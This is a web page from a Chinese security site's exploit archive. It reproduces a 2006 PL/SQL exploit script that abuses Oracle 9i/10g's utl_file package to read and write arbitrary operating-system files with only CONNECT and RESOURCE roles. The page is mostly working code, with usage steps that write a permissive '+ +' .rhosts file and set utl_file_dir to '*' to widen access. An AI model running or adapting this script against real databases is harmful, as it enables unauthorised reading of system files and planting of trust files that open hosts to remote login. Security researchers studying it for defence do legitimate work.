首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Oracle <= 9i / 10g File System Access via utl_file Exploit
来源:raptor@0xdeadbeef.info 作者:Marco 发布时间:2006-12-20  

--
-- $Id: raptor_orafile.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $
--
-- raptor_orafile.sql - file system access suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is an example file system access suite for Oracle based on the utl_file
-- package (http://www.adp-gmbh.ch/ora/plsql/utl_file.html). Use it to remotely
-- read/write OS files with the privileges of the RDBMS user, without the need
-- for any special privileges (CONNECT and RESOURCE roles are more than enough).
--
-- The database _must_ be configured with a non-NULL utl_file_dir value
-- (preferably '*'). Check it using the following query:
-- SQL> select name, value from v$parameter where name = 'utl_file_dir';
--
-- If you have the required privileges (ALTER SYSTEM) and feel brave
-- enough to perform a DBMS shutdown/startup, you can consider modifying
-- this parameter yourself, using the following PL/SQL:
-- SQL> alter system set utl_file_dir='*' scope =spfile;
--
-- See also: http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql
--
-- Usage example:
-- $ sqlplus scott/tiger
-- [...]
-- SQL> @raptor_orafile.sql
-- [...]
-- SQL> exec utlwritefile('/tmp', 'mytest', '# this is a fake .rhosts file');
-- SQL> exec utlwritefile('/tmp', 'mytest', '+ +');
-- SQL> set serveroutput on;
-- SQL> exec utlreadfile('/tmp', 'mytest');
-- # this is a fake .rhosts file
-- + +
-- End of file.
--

-- file reading module
--
-- usage: set serveroutput on;
-- exec utlreadfile('/dir', 'file');
create or replace procedure utlreadfile(p_directory in varchar2, p_filename in varchar2) as
buffer varchar2(260);
fd utl_file.file_type;
begin
fd := utl_file.fopen(p_directory, p_filename, 'r');
dbms_output.enable(1000000);
loop
utl_file.get_line(fd, buffer, 254);
dbms_output.put_line(buffer);
end loop;
exception when no_data_found then
dbms_output.put_line('End of file.');
if (utl_file.is_open(fd) = true) then
utl_file.fclose(fd);
end if;
when others then
if (utl_file.is_open(fd) = true) then
utl_file.fclose(fd);
end if;
end;
/

-- file writing module
--
-- usage: exec utlwritefile('/dir', 'file', 'line to append');
create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as
fd utl_file.file_type;
begin
fd := utl_file.fopen(p_directory, p_filename, 'a'); -- append
utl_file.put_line(fd, p_line);
if (utl_file.is_open(fd) = true) then
utl_file.fclose(fd);
end if;
end;
/



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·KDE 3.5 (libkhtml) <= 4.2.0
·Hewlett-Packard FTP Print Serv
·Exploits Intel 2200BG 802.11 w
·Hewlett-Packard FTP Print Serv
·wget <= 1.10.2 (Unchecked B
·Exploits WinFtp Server Version
·MS Office Outlook Recipient Co
·RealPlayer 10.5 (ActiveX Contr
·VerliAdmin <= 0.3 (index.ph
·MS Windows (MessageBox) Memory
·Star FTP Server 1.10 (RETR) Re
·PHP Advanced Transfer Manager
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved